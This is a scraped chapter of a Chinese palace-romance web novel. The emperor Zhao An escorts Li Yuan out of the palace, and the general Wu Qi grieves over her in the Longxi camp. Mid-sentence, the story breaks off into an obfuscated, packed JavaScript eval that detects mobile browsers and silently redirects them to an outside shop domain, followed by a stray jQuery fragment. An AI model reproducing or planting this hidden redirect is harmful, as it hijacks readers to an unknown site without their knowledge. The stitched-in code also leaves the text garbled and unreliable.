文趣网 > 其他小说 > 亡国皇后她重生了 > 48. 048
    殿中一时无声。太后垂眸看着跪在面前的儿子,许久,轻轻叹了口气。

    她如何不知朝廷的情况,如果不是因为心疼皇上,她怎会破例容许黎沅进宫。

    “哀家知道了,你带她出宫吧,哀家以后不会再插手你们二人的事。”

    母与子,最先后退的人一定是母亲,哪怕太后也不例外。

    赵安站起身:“谢母后!”

    出了正殿,赵安径直走向跪着的那一抹身影身侧,俯身握住她的手臂,将她拉起来。

    “起来。”

    黎沅身子一僵:“皇上……太后说……苏嬷嬷叫我起来才能起来……”

    “朕已经跟母后说过了,她说你不用跪了。”

    黎沅了解赵安的性子,他不会忤逆太后,他这般说定是太后同意放过她了,黎沅这才站起来。

    赵安低头看了她一眼,见她脸色发白,唇上已经没了血色,明明猜到她是不愿进宫才故意为之,再怎么也是生气的,可心里还是涌出一丝心疼。

    “朕送你出宫。”

    “不用了,皇上,臣女自己出宫便好。”

    今日已经闹出这么大动静,黎沅不想再生事端,引人注目。

    赵安却不由分说,抬手攥住她的衣袖,转身便往宫门走。

    黎沅心头一慌,摸不透他这番举动是何用意,下意识猛地抽回手臂,衣袖从他指间滑脱,她退后半步,仓皇抬头看他。

    赵安顿住脚步,回过身来,太阳西斜,暮色隐住他半张侧脸,看不清喜怒,只那双眼睛沉沉地压下来。

    “你是想让朕抱你过去?”

    黎沅瞬间清醒过来,她忽然明白了,赵安生气了,她可以不进宫,但是她的身边也不容许出现第二个男人。

    黎沅垂下眼,指尖蜷进掌心,终究没有再挣扎。

    赵安重新握住她的衣袖,力道比方才轻了些。

    她跟在赵安身后,一步一步往宫门走去,宫道漫长而寂静,夕阳将两个人的影子拉得又长又瘦,交叠在一处。

    这事很快便传遍了京城,也传到了陇西。

    梧栖与虞镜水已经达成协议,京城的消息每隔两个月送来一次。

    当陆茗看到这条消息时,他们从京城回来已经有半年了,他怀疑虞镜水是故意报复他家主子当初不肯答应她,才故意送来的。

    “怎么不念了?”梧栖在书案上写巡军志,发觉了陆茗的异样,抬起眼来。

    陆茗只得眼朝天,面无表情将纸条上的字念出来。

    营帐里安静了许久。

    陆茗感觉自己眼睛都要翻到天上去了,他不用看都能猜到主子脸上是何表情,他嘴笨,不知道该说点什么,此时此刻只想让主子叫自己滚出去。

    奈何却久久没有听到,还好,营仗外传来一阵脚步声,救了他。

    “将军,兄弟们在等着了!”

    进来的人名叫罗奇伟,是陇西军的一个都头,管着一百号人。

    当皇上封梧栖为总兵的旨意传到梧府,梧卓大怒一场,拎着梧栖的脖子质问他怎么回事。

    梧栖说皇上喜欢上了黎沅,让他放弃了黎沅,为了补偿他,才给了他总兵一职,梧卓才不再追究。

    这也是当初他跟黎沅合作的最大原因,只有这样取得官位,才能从梧卓这边应付过去。

    虽然没再追究了,但是并不意味着梧卓便信任他了,自从回到陇西后,梧卓并没有让他接替梧麟,管理军务。

    于是,这半年来,他一直呆在军营练兵。

    但是他练兵除了日常的练兵外,还发了一道悬赏。

    他会与每个队选出来的人轮流比试,只要能打赢他,便能赏金百两。

    自回到陇西,他已经与十几个队比试,没有一人拿到赏金。

    但是梧栖的目的已经达成,他在陇西军队里很快立下名声,而且还挖掘出好几个力气大有天赋的士兵。

    今日轮到常奇伟的队比试。

    见时间到了,常奇伟进军营叫人,刚说完才发觉气氛有异,他埋着头,不敢多说。

    “走吧!”

    听到梧将军的声音,常奇伟这才抬起头,见梧将军起身,陆将军跟在他的身后,三人来到校场。

    等待比试的士兵早已等在一旁。

    陆茗略有同情地看了一眼那人,那人一脸跃跃欲试,丝毫不清楚他将要面对什么。

    这群最低等的士兵毕竟没有接受过任何训练,主子以往都是收着打的。

    这次…………

    比试的规则是只要求饶便算认输。

    一炷香的时间还没到,那人便躺在地上不动了,连求饶都没有喊出来。

    梧栖在阵阵喝彩声中离场。

    他捏了捏发麻的拳头,响彻校场的喝彩声都落在身后,他的耳边只回响着陆茗说的那四个字。

    执手而行

    …………

    陇西的夜极凉,风是从祁连山的脊背上扑下来,冷得发硬,还夹着雪粒子,打在脸上生疼。

    陆茗半夜被尿意叫醒,出去小解,刚一出帐,就被夜风灌了个透,冷得他一激灵,整个人都哆嗦了一下。

    头顶的天是那种深深的墨蓝色,干净得没有一丝云,星星密密麻麻地挤在一起,亮得惊人。

    解决完之后,他正要低头往回走,借着满天的星光,余光忽然扫到后山顶上,好像有个模糊的人影。

    陆茗瞬间屏住了呼吸,全身绷紧,像一头察觉到危险的野兽,他没有弄出任何声响,贴着营帐的暗影,一步一步摸到了主子的帐前。

    “主子……”他压低声音唤了一句。

    帐里没有人应。

    陆茗的心往下沉了沉,轻手轻脚摸到床榻边,伸手一探,空的,而且凉得没有一丝热气。

    那个山顶上的人,该不会……就是自家主子吧?

    他再不多想,转身就往山上爬,山风更烈了,像刀子似的贴着骨头往里剜,每喘一口气,鼻腔里都灌满了寒气。

    爬到半山腰,风里又多了一丝味道,淡淡的,若隐若现。

    是酒气。

    陆茗脚步一顿,心里揪了一下。

    主子很少喝酒的。

    他没有再往上走,只是停在半山腰,他的眼力一向极好,就着满天寒星,他看得清清楚楚。

    那确确实实是他家主子。

    他家傻主子一个人,在刺骨的夜风里,坐在山顶上,一口一口地喝着酒。

    陆茗就站在半山腰,远远望着,一动不动。

    那一瞬间,他心里涌上一股说不清的心疼和躁意,他甚至冒出一个念头,不如立刻冲进京城,把那个女人抢回来,交到主子手里。

    可他也只是这样想想而已。

    主子都做不到的事,他怎么可能做到。

    他站在山腰的冷风里,吹了很久,最

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724772|208813||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    终还是什么也没有做,转过身,一步一步,不动声色地下了山。

    梧栖从不饮酒。

    一个士兵的命,系在刀尖上,酒是钝刀子的东西,会削去人的三分反应、两分锐气,所以他几乎不碰。

    可今夜,他却特别想喝酒,一口灌下去,辛辣的液体割过喉咙,在胃里烧成一片荒原。

    是什么时候的事?

    是什么时候动心的?

    他自己都不知道。

    直到那些从来没有过的、莫名的、说不清、道不明的情绪在心里像扎了根一样,掐不灭,拔不掉时。

    他这才明白,他真的喜欢上了黎沅。

    可是,这个时候,他已经用一个总兵的职位,将她换给了皇位的那人。

    那人,是她前世的夫君!

    梧栖猛地攥紧酒壶,用力过大,壶身硌得掌心生疼。

    一想到那个名字,心口就像是被泥封住了,堵得发疼。

    他只能不去想,不去碰,埋头过好在陇西的日子。

    时间会冲淡一切,他这样告诉自己,可今日,当陆茗念出那条消息时,他再也压不住了。

    不只压不住,他还想——杀人!

    和那个士兵交手时,他几乎用尽所有力气,才没让那个士兵血溅当场。

    他不光是一个男人,他有野心,有抱负,不能让一个女人毁了他谋划已久的天下。

    所以,他唯一能做的,就是在这里,闷头喝一大口酒。

    酒是冷的。

    比陇西的风还冷。

    他第一次痛恨自己记忆力太好,曾经那些匆匆一瞥黎沅与赵安的画面不断地在脑海里闪回。

    如今京城已经没了自己,只有她和那人。

    她到他身边去了。

    是他亲手送去的。

    梧栖放下酒壶,闭上眼,嘴角扯出一个极淡的弧度。

    笑自己,也笑这荒唐的因果。

    重生一世,他救下了很多人,这便是付出的代价吧!

    他自己选的,所以活该受着!

    次日,陆茗掀帘而入,见梧栖如往常一样,端坐于榻上,手边摊着几卷军报,仿佛昨夜看到的那个在夜风中喝冷酒的人,不过一场错觉。

    “主子,若是心里不痛快,便歇一日吧。”陆茗忍不住开口,昨日那份揪心又泛了上来。

    梧栖抬眸,眼底闪过一丝不明所以的淡薄。

    陆茗索性挑明:“主子,我昨夜瞧见了……您去山顶喝酒了。”

    话音落下,梧栖没有回答,神色依旧寡淡,将目光缓缓落回手中的纸页上。

    陆茗见他面色如常,心头那口气总算松了下来。

    想来主子是想通了,也是,不过一个女人,再深的情,难过几日也就淡了,原是人之常情。

    主子看了一会情报,又拿来地图,这一整日都待在营帐里看这两样东西。

    日常巡查交给他。

    陆茗一向听话,主子说什么,他便做什么。

    没想到,第二日还是如此,陆茗他无意间瞥了一眼,瞥见了“岭南”二字。

    岭南?

    他记得虞镜水给的情报里提过这个地方。

    只是他记性不好,忘了具体说了什么。

    主子就这样在营帐里待了七天,七日后,主子开始同往常一样的练兵生活。

    陆茗也终于放心了,只是一个女人而已!